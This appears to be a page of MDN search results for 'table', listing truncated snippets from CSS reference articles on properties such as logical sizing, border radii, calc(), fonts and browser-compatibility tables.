table below i have given these mapped values assuming that the writing-mode in use is horizontal-tb — with a left to right direction. the inline direction therefore runs horizontally — left to right — and margin-inline-start would be equivalent to margin-left. if you were using a horizontal-tb writing mode with a right-to-left text direction then margin-inline-start would be the same as margin-r...
Logical properties for sizing - CSS: Cascading Style Sheets
d block) rather than physical sizing which relates to the physical dimensions of horizontal and vertical (e.g. left and right). while these flow relative mappings may well become the default for many of us, in a design you may well use both physical and logical sizing. you might want some features to always relate to the physical dimensions whatever the writing mode. mappings for dimensions the
table below provides mappings between logical and physical properties. these mappings assume that you are in a horizontal-tb writing mode, such as english or arabic, in which case width would be mapped to inline-size. if you were in a vertical writing mode then inline-size would be mapped to height. logical property physical property inline-size width block-size ...
CSS Scrollbars - CSS: Cascading Style Sheets
cations specification status comment css scrollbars level 1 working draft initial definition. accessibility concerns when you customize scrollbars, consider they have enough contrast and that their hit area is large enough for people who use touch input. baseline rules for scrollbar usability | adrian roselli browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. scrollbar-width desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscrollbar-widthchrome no support...
Layout and the containing block - CSS: Cascading Style Sheets
if the position property is absolute, the containing block is formed by the edge of the padding box of the nearest ancestor element that has a position value other than static (fixed, absolute, relative, or sticky). if the position property is fixed, the containing block is established by the viewport (in the case of con...
Layout mode - CSS: Cascading Style Sheets
orithm that determines the position and size of boxes based on the way they interact with their sibling and ancestor boxes. there are several of them: normal flow — all elements are part of normal flow until you do something to take them out of it. normal flow includes block layout, designed for laying out boxes such as paragraphs and inline layout, which lays out inline items such as text.
table layout, designed for laying out
tables. float layout, designed to cause an item to position itself left or right with the rest of the content in normal flow wrapping around it. positioned layout, designed for positioning elements without much interaction with other elements. multi-column layout, designed for laying content out in columns as in a newspaper. flexible box layout, designed for la...
Paged media - CSS: Cascading Style Sheets
paged media properties control the presentation of content for print or any other media that splits content into discrete pages. it allows you to set page breaks, control prin
table area, style left and right pages differently, and control breaks inside elements. widely supported properties include: page-break-before page-break-after page-break-inside orphans widows @page ...
Specificity - CSS: Cascading Style Sheets
ficity and will win over the second rule. how to override !important a) add another css rule with !important, and either give the selector a higher specificity (adding a tag, id or class to the selector), or add a css rule with the same selector at a later point than the existing one. this works because in a specificity tie, the last rule defined wins. some examples with a higher specificity:
table td { height: 50px !important; } .my
table td { height: 50px !important; } #my
table td { height: 50px !important; } b) or add the same selector after the existing one: td { height: 50px !important; } c) or, preferably, rewrite the original rule to avoid the use of !important altogether. [id="someelement"] p { color: blue; } p.awesome { color: red; } including an id as part of an attri...
Using CSS custom properties (variables) - CSS: Cascading Style Sheets
nitial black.</p> css :root { --text-color: 16px; } p { color: blue; } p { color: var(--text-color); } as expected, the browser substitutes the value of --text-color in place of var(--text-color), but 16px is not a valid property value for color. after substitution, the property doesn’t make any sense. the browser handles this situation in two steps: check if the property color is inheri
table. yes, but <p> doesn't have any parent with color property. so move on to the next step. set the value to its default initial value, i.e., black. result the paragraph color will not be blue because invalid substitution is replaced by the initial value, not by the fallback. if you had written color: 16px without any variable substitutes, then it was a syntax error. the previous declaration wi...
align-items - CSS: Cascading Style Sheets
ther absolutely-positioned boxes. in static position of absolutely-positioned layouts, the keyword behaves as stretch. for flex items, the keyword behaves as stretch. for grid items, this keyword leads to a behavior similar to the one of stretch, except for boxes with an aspect ratio or an intrinsic sizes where it behaves like start. the property doesn't apply to block-level boxes, and to
table cells. flex-start the cross-start margin edges of the flex items are flushed with the cross-start edge of the line. flex-end the cross-end margin edges of the flex items are flushed with the cross-end edge of the line. center the flex items' margin boxes are centered within the line on the cross-axis. if the cross-size of an item is larger than the flex container, it will overflow equal...
animation-delay - CSS: Cascading Style Sheets
::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <time># examples see css animations for examples. specifications specification status comment css animationsthe definition of 'animation-delay' in that specification. working draft initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetanimation-delaychrome full support ...
animation-direction - CSS: Cascading Style Sheets
<single-animation-direction>#where <single-animation-direction> = normal | reverse | alternate | alternate-reverse examples see css animations for examples. specifications specification status comment css animationsthe definition of 'animation-direction' in that specification. working draft initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetanimation-directionchrome full support ...
animation - CSS: Cascading Style Sheets
constituent properties this property is a shorthand for the following css properties: animation-delay animation-direction animation-duration animation-fill-mode animation-iteration-count animation-name animation-play-state animation-timing-function syntax the animation property is specified as ...
background-attachment - CSS: Cascading Style Sheets
by commas. each image is matched with the corresponding attachment type, from first specified to last. html <p> there were doors all round the hall, but they were all locked; and when alice had been all the way down one side and up the other, trying every door, she walked sadly down the middle, wondering how she was ever to get out again. suddenly she came upon a little three-legged
table, all made of solid glass; there was nothing on it except a tiny golden key, and alice's first thought was that it might belong to one of the doors of the hall; but, alas! either the locks were too large, or the key was too small, but at any rate it would not open any of them. however, on the second time round, she came upon a low curtain she had not noticed before, and behind it was a...
background-position-x - CSS: Cascading Style Sheets
d-position-y: bottom 10px; } result specifications specification status comment css backgrounds and borders module level 4the definition of 'background-position-x' in that specification. editor's draft initial specification of longhand sub-properties of background-position to match longstanding implementations. browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbackground-position-xchrome full support ...
background-position-y - CSS: Cascading Style Sheets
d-position-y: bottom 10px; } result specifications specification status comment css backgrounds and borders module level 4the definition of 'background-position-y' in that specification. editor's draft initial specification of longhand sub-properties of background-position to match longstanding implementations. browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbackground-position-ychrome full support ...
border-bottom-left-radius - CSS: Cascading Style Sheets
i-major and semi-minor axes of the ellipse. as absolute length it can be expressed in any unit allowed by the css <length> data type. percentages for the horizontal axis refer to the width of the box, percentages for the vertical axis refer to the height of the box. negative values are invalid. formal definition initial value0applies toall elements; but user agents are not required to apply to
table and inline-
table elements when border-collapse is collapse. the behavior on internal
table elements is undefined for the moment.. it also applies to ::first-letter.inheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valuetwo absolute <length>s or <percentage>sanimation typea length, percentage or calc(); formal syntax <length-percentage>{1,2}where <length-percen...
border-bottom-right-radius - CSS: Cascading Style Sheets
i-major and semi-minor axes of the ellipse. as absolute length it can be expressed in any unit allowed by the css <length> data type. percentages for the horizontal axis refer to the width of the box, percentages for the vertical axis refer to the height of the box. negative values are invalid. formal definition initial value0applies toall elements; but user agents are not required to apply to
table and inline-
table elements when border-collapse is collapse. the behavior on internal
table elements is undefined for the moment.. it also applies to ::first-letter.inheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valuetwo absolute <length>s or <percentage>sanimation typea length, percentage or calc(); formal syntax <length-percentage>{1,2}where <length-percen...
border-bottom-width - CSS: Cascading Style Sheets
tom-width' in that specification. candidate recommendation no significant change. css level 2 (revision 1)the definition of 'border-bottom-width' in that specification. recommendation no significant change. css level 1the definition of 'border-bottom-width' in that specification. recommendation initial definition. browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetborder-bottom-widthchrome full support ...
border-end-end-radius - CSS: Cascading Style Sheets
i-major and semi-minor axes of the ellipse. as absolute length it can be expressed in any unit allowed by the css <length> data type. percentages for the horizontal axis refer to the width of the box, percentages for the vertical axis refer to the height of the box. negative values are invalid. formal definition initial value0applies toall elements; but user agents are not required to apply to
table and inline-
table elements when border-collapse is collapse. the behavior on internal
table elements is undefined for the moment.. it also applies to ::first-letter.inheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valuetwo absolute <length>s or <percentage>sanimation typea length, percentage or calc(); formal syntax <length-percentage>{1,2}where <length-percen...
border-end-start-radius - CSS: Cascading Style Sheets
i-major and semi-minor axes of the ellipse. as absolute length it can be expressed in any unit allowed by the css <length> data type. percentages for the horizontal axis refer to the width of the box, percentages for the vertical axis refer to the height of the box. negative values are invalid. formal definition initial value0applies toall elements; but user agents are not required to apply to
table and inline-
table elements when border-collapse is collapse. the behavior on internal
table elements is undefined for the moment.. it also applies to ::first-letter.inheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valuetwo absolute <length>s or <percentage>sanimation typea length, percentage or calc(); formal syntax <length-percentage>{1,2}where <length-percen...
border-image-outset - CSS: Cascading Style Sheets
der-image outset as a dimension — a number with a unit. <number> the size of the border-image outset as a multiple of the element's corresponding border-widths. for example, if an element has border-width: 1em 2px 0 1.5rem, and border-image-outset: 2, the final border-image-outset would be calculated as 2em 4px 0 3rem. formal definition initial value0applies toall elements, except internal
table elements when border-collapse is collapse. it also applies to ::first-letter.inheritednocomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typeby computed value type formal syntax [ <length> | <number> ]{1,4} examples outsetting a border image html <div id="outset">this element has an outset border image!</div> css #outset { width: 10rem; b...
border-image-repeat - CSS: Cascading Style Sheets
und the source image's edge regions are tiled (repeated) to fill the gap between each border. tiles may be stretched to achieve the proper fit. space the source image's edge regions are tiled (repeated) to fill the gap between each border. extra space will be distributed in between tiles to achieve the proper fit. formal definition initial valuestretchapplies toall elements, except internal
table elements when border-collapse is collapse. it also applies to ::first-letter.inheritednocomputed valueas specifiedanimation typediscrete formal syntax [ stretch | repeat | round | space ]{1,2} examples repeating border images css #bordered { width: 12rem; margin-bottom: 1rem; padding: 1rem; border: 40px solid; border-image: url("https://mdn.mozillademos.org/files/4127/border.png")...
border-image-source - CSS: Cascading Style Sheets
border-image-source: linear-gradient(to top, red, yellow); /* global values */ border-image-source: inherit; border-image-source: initial; border-image-source: unset; values none no border image is used. the appearance defined by border-style is displayed instead. <image> image reference to use for the border. formal definition initial valuenoneapplies toall elements, except internal
table elements when border-collapse is collapse. it also applies to ::first-letter.inheritednocomputed valuenone or the image with its uri made absoluteanimation typediscrete formal syntax none | <image>where <image> = <url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient>where <image()> = image( <image-tags>? [ <image-src>? , <color>? ]! )<image-set()> = image-set(...
border-image-width - CSS: Cascading Style Sheets
as a multiple of the corresponding border-width. must not be negative. auto the width of the border is made equal to the intrinsic width or height (whichever is applicable) of the corresponding border-image-slice. if the image does not have the required intrinsic dimension, the corresponding border-width is used instead. formal definition initial value1applies toall elements, except internal
table elements when border-collapse is collapse. it also applies to ::first-letter.inheritednopercentagesrefer to the width or height of the border image areacomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typeby computed value type formal syntax [ <length-percentage> | <number> | auto ]{1,4}where <length-percentage> = <length> | <percentage> examples ...
border-left - CSS: Cascading Style Sheets
ation no direct changes, though the modification of values for the border-left-color do apply to it. css level 2 (revision 1)the definition of 'border-left' in that specification. recommendation no significant changes. css level 1the definition of 'border-left' in that specification. recommendation initial definition browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetborder-leftchrome full support ...
border-right - CSS: Cascading Style Sheets
on no direct changes, though the modification of values for the border-right-color do apply to it. css level 2 (revision 1)the definition of 'border-right' in that specification. recommendation no significant changes. css level 1the definition of 'border-right' in that specification. recommendation initial definition browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetborder-rightchrome full support ...
border-start-end-radius - CSS: Cascading Style Sheets
i-major and semi-minor axes of the ellipse. as absolute length it can be expressed in any unit allowed by the css <length> data type. percentages for the horizontal axis refer to the width of the box, percentages for the vertical axis refer to the height of the box. negative values are invalid. formal definition initial value0applies toall elements; but user agents are not required to apply to
table and inline-
table elements when border-collapse is collapse. the behavior on internal
table elements is undefined for the moment.. it also applies to ::first-letter.inheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valuetwo absolute <length>s or <percentage>sanimation typea length, percentage or calc(); formal syntax <length-percentage>{1,2}where <length-percen...
border-start-start-radius - CSS: Cascading Style Sheets
i-major and semi-minor axes of the ellipse. as absolute length it can be expressed in any unit allowed by the css <length> data type. percentages for the horizontal axis refer to the width of the box, percentages for the vertical axis refer to the height of the box. negative values are invalid. formal definition initial value0applies toall elements; but user agents are not required to apply to
table and inline-
table elements when border-collapse is collapse. the behavior on internal
table elements is undefined for the moment.. it also applies to ::first-letter.inheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valuetwo absolute <length>s or <percentage>sanimation typea length, percentage or calc(); formal syntax <length-percentage>{1,2}where <length-percen...
border-top-left-radius - CSS: Cascading Style Sheets
i-major and semi-minor axes of the ellipse. as absolute length it can be expressed in any unit allowed by the css <length> data type. percentages for the horizontal axis refer to the width of the box, percentages for the vertical axis refer to the height of the box. negative values are invalid. formal definition initial value0applies toall elements; but user agents are not required to apply to
table and inline-
table elements when border-collapse is collapse. the behavior on internal
table elements is undefined for the moment.. it also applies to ::first-letter.inheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valuetwo absolute <length>s or <percentage>sanimation typea length, percentage or calc(); formal syntax <length-percentage>{1,2}where <length-percen...
border-top-right-radius - CSS: Cascading Style Sheets
i-major and semi-minor axes of the ellipse. as absolute length it can be expressed in any unit allowed by the css <length> data type. percentages for the horizontal axis refer to the width of the box, percentages for the vertical axis refer to the height of the box. negative values are invalid. formal definition initial value0applies toall elements; but user agents are not required to apply to
table and inline-
table elements when border-collapse is collapse. the behavior on internal
table elements is undefined for the moment.. it also applies to ::first-letter.inheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valuetwo absolute <length>s or <percentage>sanimation typea length, percentage or calc(); formal syntax <length-percentage>{1,2}where <length-percen...
border-top - CSS: Cascading Style Sheets
endation no direct changes, though the modification of values for the border-top-color do apply to it. css level 2 (revision 1)the definition of 'border-top' in that specification. recommendation no significant changes. css level 1the definition of 'border-top' in that specification. recommendation initial definition browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetborder-topchrome full support ...
border - CSS: Cascading Style Sheets
and, border now resets border-image to its initial value (none). css level 2 (revision 1)the definition of 'border' in that specification. recommendation accepts the inherit keyword. also accepts transparent as a valid color. css level 1the definition of 'border' in that specification. recommendation initial definition. browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetborderchrome full support ...
box-align - CSS: Cascading Style Sheets
ower than their parent, so there is room for the box-align */ width: 200px; } </style> </head> <body> <div class="example"> <p>i will be second from the bottom of div.example, centered horizontally.</p> <p>i will be on the bottom of div.example, centered horizontally.</p> </div> </body> </html> specifications not part of any standard. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbox-align deprecatednon-standardchrome full suppo...
box-direction - CSS: Cascading Style Sheets
valueas specifiedanimation typediscrete formal syntax normal | reverse | inherit examples setting box direction .example { /* bottom-to-top layout */ -moz-box-direction: reverse; /* mozilla */ -webkit-box-direction: reverse; /* webkit */ box-direction: reverse; /* as specified */ } specifications not part of any standard. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbox-direction deprecatednon-standardchrome full s...
break-after - CSS: Cascading Style Sheets
in that specification. working draft extends the property to handle region breaks. adds the avoid-region and region keywords. css multi-column layout modulethe definition of 'break-after' in that specification. working draft initial definition. extends the css 2.1 page-break-after property to handle both page and column breaks. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. support in multi-column layout desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsupported in multi-column layoutc...
break-before - CSS: Cascading Style Sheets
n that specification. working draft extends the property to handle region breaks. adds the avoid-region and region keywords. css multi-column layout modulethe definition of 'break-before' in that specification. working draft initial definition. extends the css 2.1 page-break-before property to handle both page and column breaks. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. support in multi-column layout desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsupported in multi-column layoutc...
break-inside - CSS: Cascading Style Sheets
at specification. candidate recommendation no change. css regions module level 1the definition of 'break-inside' in that specification. working draft extends the property to handle region breaks. css multi-column layout modulethe definition of 'break-inside' in that specification. working draft initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsupported in multi-column layoutchrome full suppo...
calc() - CSS: Cascading Style Sheets
a subtraction operator and a length. likewise, calc(8px + -50%) is treated as a length followed by an addition operator and a negative percentage. the * and / operators do not require whitespace, but adding it for consistency is both allowed and recommended. division by zero results in an error being generated by the html parser. math expressions involving percentages for widths and heights on
table columns,
table column groups,
table rows,
table row groups, and
table cells in both auto and fixed layout
tables may be treated as if auto had been specified. it is permitted to nest calc() functions, in which case the inner ones are treated as simple parentheses. formal syntax calc( <calc-sum> )where <calc-sum> = <calc-product> [ [ '+' | '-' ] <calc-product> ]*where <calc-product> = <calc-va...
clamp() - CSS: Cascading Style Sheets
ions, so you can use addition, subtraction, multiplication and division without using the calc() function itself. you may also use parentheses to establish computation order when needed. you can use different units for each value in your expressions, and different units in any math function making up any of the arguments. notes math expressions involving percentages for widths and heights on
table columns,
table column groups,
table rows,
table row groups, and
table cells in both auto and fixed layout
tables may be treated as if auto had been specified. it is permitted to nest max() and min() functions as expression values, in which case the inner ones are treated as simple parentheses. the expressions are full math expressions, so you can use direct addition, subtraction, multiplication ...
clear - CSS: Cascading Style Sheets
that specification. editor's draft adds the values inline-start and inline-end css level 2 (revision 1)the definition of 'clear' in that specification. recommendation no significant changes, though details are clarified. css level 1the definition of 'clear' in that specification. recommendation initial definition browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetclearchrome full support ...
<color> - CSS: Cascading Style Sheets
y unsaturated (gray). 100% lightness is white, 0% lightness is black, and 50% lightness is “normal.” a (alpha) can be a <number> between 0 and 1, or a <percentage>, where the number 1 corresponds to 100% (full opacity). functional notation: hsl[a](h s l[ / a]) css colors level 4 adds support for space-separated values in the functional notation. system colors in forced colors mode (detec
table with the forced-colors media query), most colors are restricted into a user- and browser-defined palette. these system colors are exposed by the following keywords, which can be used to ensure that the rest of the page integrates well with the restricted palette. these values may also be used in other contexts, but are not widely supported by browsers. the keywords in the following list are def...
column-width - CSS: Cascading Style Sheets
from the specified value: it may be wider when necessary to fill available space, and narrower when the available space is too small. the value must be strictly positive or the declaration is invalid. percentage values are also invalid. auto the width of the column is determined by other css properties, such as column-count. formal definition initial valueautoapplies toblock containers except
table wrapper boxesinheritednocomputed valuethe absolute length, zero or largeranimation typea length formal syntax <length> | auto examples setting column width in pixels html <p class="content-box"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. ut wisi enim ad minim veniam, quis nostrud exerci tat...
columns - CSS: Cascading Style Sheets
deal number of columns into which the element's content should be flowed, defined as an <integer> or the keyword auto. if neither this value nor the column's width are auto, it merely indicates the maximum allowable number of columns. see column-count. ...
Computed value - CSS: Cascading Style Sheets
the computed value of a css property is the value that is transferred from parent to child during inheritance. it is calculated from the specified value by: handling the special values inherit, initial, unset, and revert. doing the computation needed to reach the value described in the "computed value" line in the property's definition
table. the computation needed to reach a property's computed value typically involves converting relative values (such as those in em units or percentages) to absolute values. for example, if an element has specified values font-size: 16px and padding-top: 2em, then the computed value of padding-top is 32px (double the font size). however, for some properties (those where percentages are relative to something that may require layout to determine, such as ...
counter() - CSS: Cascading Style Sheets
, upper-roman) a counter has no visible effect by itself. the counter() function (and counters() function) is what makes it useful by returning developer defined strings (or images). note: the counter() function can be used with any css property, but support for properties other than content is experimental, and support for the type-or-unit parameter is sparse. check the browser compatibility
table carefully before using this in production. syntax values <custom-ident> a name identifying the counter, which is the same case-sensitive name used for the counter-reset and counter-increment. the name cannot start with two dashes and can't be none, unset, initial, or inherit. <counter-style> a counter style name or symbols() function, where a counter style name is a numeric, alphabetic,...
counters() - CSS: Cascading Style Sheets
ername, '.', upper-roman) a counter has no visible effect by itself. the counters() function (and counter() function) is what makes it useful by returning developer defined content. note: the counters() function can be used with any css property, but support for properties other than content is experimental, and support for the type-or-unit parameter is sparse. check the browser compatibility
table carefully before using this in production. syntax values <custom-ident> a name identifying the counters, which is the same case-sensitive name used for the counter-reset and counter-increment. the name cannot start with two dashes and can't be none, unset, initial, or inherit. <counter-style> a counter style name or symbols() function, where a counter style name is a numeric, alphabetic...
<display-inside> - CSS: Cascading Style Sheets
as position, float, or overflow) and whether it is itself participating in a block or inline formatting context, it either establishes a new block formatting context (bfc) for its contents or integrates its contents into its parent formatting context. flow-root the element generates a block element box that establishes a new block formatting context, defining where the formatting root lies.
table these elements behave like html <
table> elements. it defines a block-level box. flex the element behaves like a block element and lays out its content according to the flexbox model. grid the element behaves like a block element and lays out its content according to the grid model. ruby the element behaves like an inline element and lays out its content according to the ruby formatting m...
<display-legacy> - CSS: Cascading Style Sheets
equiring separate keywords for block-level and inline-level variants of the same layout mode. this page details those values. syntax valid <display-legacy> values: inline-block the element generates a block element box that will be flowed with surrounding content as if it were a single inline box (behaving much like a replaced element would). it is equivalent to inline flow-root. inline-
table the inline-
table value does not have a direct mapping in html. it behaves like an html <
table> element, but as an inline box, rather than a block-level box. inside the
table box is a block-level context. it is equivalent to inline
table. inline-flex the element behaves like an inline element and lays out its content according to the flexbox model. it is equivalent to inline flex. inline...
<easing-function> - CSS: Cascading Style Sheets
ned by four points p0, p1, p2, and p3. p0 and p3 are the start and the end of the curve and, in css these points are fixed as the coordinates are ratios (the abscissa the ratio of time, the ordinate the ratio of the output range). p0 is (0, 0) and represents the initial time and the initial state, p3 is (1, 1) and represents the final time and the final state. not all cubic bézier curves are sui
table as easing functions as not all are mathematical functions; i.e., curves that for a given abscissa have zero or one value. with p0 and p3 fixed as defined by css, a cubic bézier curve is a function, and is therefore valid, if and only if the abscissas of p1 and p2 are both in the [0, 1] range. cubic bézier curves with the p1 or p2 ordinate outside the [0, 1] range may generate bouncing effects.
element() - CSS: Cascading Style Sheets
iv style="overflow:hidden; height:0;"> <button id="mybackground2" type="button">evil button!</button> </div> specifications specification status comment css images module level 4the definition of 'using elements as images: the element() notation' in that specification. working draft deferred from css3 images. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetelement() experimentalchrome no support ...
font-family - CSS: Cascading Style Sheets
first font in the list that is installed or that can be downloaded using a @font-face at-rule. it is often convenient to use the shorthand property font to set font-size and other font related properties all at once. you should always include at least one generic family name in a font-family list, since there's no guarantee that any given font is available. this lets the browser select an accep
table fallback font when necessary. the font-family property specifies a list of fonts, from highest priority to lowest. font selection does not simply stop at the first font in the list that is on the user's system. rather, font selection is done one character at a time, so that if an available font does not have a glyph for a needed character, the latter fonts are tried. (however, this doesn't work ...
font-feature-settings - CSS: Cascading Style Sheets
ont-feature-settings: inherit; font-feature-settings: initial; font-feature-settings: unset; whenever possible, web authors should instead use the font-variant shorthand property or an associated longhand property such as font-variant-ligatures, font-variant-caps, font-variant-east-asian, font-variant-alternates, font-variant-numeric or font-variant-position. these lead to more effective, predic
table, understandable results than font-feature-settings, which is a low-level feature designed to handle special cases where no other way exists to enable or access an opentype font feature. in particular, font-feature-settings shouldn't be used to enable small caps. values normal text is laid out using default settings. <feature-tag-value> when rendering text, the list of opentype feature tag ...
font-size-adjust - CSS: Cascading Style Sheets
} results specifications specification status comment css fonts module level 3the definition of 'font-size-adjust' in that specification. candidate recommendation initial definition the css property font-size-adjust was initially defined in css 2, but dropped in css 2.1. it has been newly defined in css 3. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfont-size-adjustchrome full support ...
font-variant-caps - CSS: Cascading Style Sheets
all-caps { font-variant-caps: small-caps; font-style: italic; } .normal { font-variant-caps: normal; font-style: italic; } result specifications specification status comment css fonts module level 3the definition of 'font-variant-caps' in that specification. candidate recommendation initial definition browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfont-variant-capschrome full support ...
font-variant-numeric - CSS: Cascading Style Sheets
values onum. <numeric-spacing-values> these values controls the sizing of figures used for numbers. two values are possible: proportional-nums activating the set of figures where numbers are not all of the same size. it corresponds to the opentype values pnum. tabular-nums activating the set of figures where numbers are all of the same size, allowing them to be easily aligned like in
tables. it corresponds to the opentype values tnum. <numeric-fraction-values> these values controls the glyphs used to display fractions. two values are possible: diagonal-fractions activating the set of figures where the numerator and denominator are made smaller and separated by a slash. it corresponds to the opentype values frac. stacked-fractions activating the set of figures where the ...
font-variant-position - CSS: Cascading Style Sheets
ormal { font-variant-position: normal; } .super { font-variant-position: super; } .sub { font-variant-position: sub; } result specifications specification status comment css fonts module level 3the definition of 'font-variant-position' in that specification. candidate recommendation initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfont-variant-positionchrome no support ...
font-variant - CSS: Cascading Style Sheets
t' in that specification. candidate recommendation made it a shorthand of the new font-variant-* properties. css level 2 (revision 1)the definition of 'font-variant' in that specification. recommendation no change css level 1the definition of 'font-variant' in that specification. recommendation initial definition browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfont-variantchrome full support ...
height - CSS: Cascading Style Sheets
min-content, )). accessibility concerns ensure that elements set with a height are not truncated and/or do not obscure other content when the page is zoomed to increase text size. mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.4 | w3c understanding wcag 2.0 formal definition initial valueautoapplies toall elements but non-replaced inline elements,
table columns, and column groupsinheritednopercentagesthe percentage is calculated with respect to the height of the generated box's containing block. if the height of the containing block is not specified explicitly (i.e., it depends on content height), and this element is not absolutely positioned, the value computes to auto. a percentage height on the root element is relative to the initial containi...
image-set() - CSS: Cascading Style Sheets
escribe it semantically in the document. mdn understanding wcag, guideline 1.1 explanations understanding success criterion 1.1.1 | w3c understanding wcag 2.0 specifications specification status comment css images module level 4the definition of 'the image-set() notation' in that specification. working draft browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetimage-set()chrome full support ...
initial - CSS: Cascading Style Sheets
s specification status comment css cascading and inheritance level 4the definition of 'initial' in that specification. candidate recommendation no changes from level 3. css cascading and inheritance level 3the definition of 'initial' in that specification. candidate recommendation initial definition. browser compatibility the compatibility
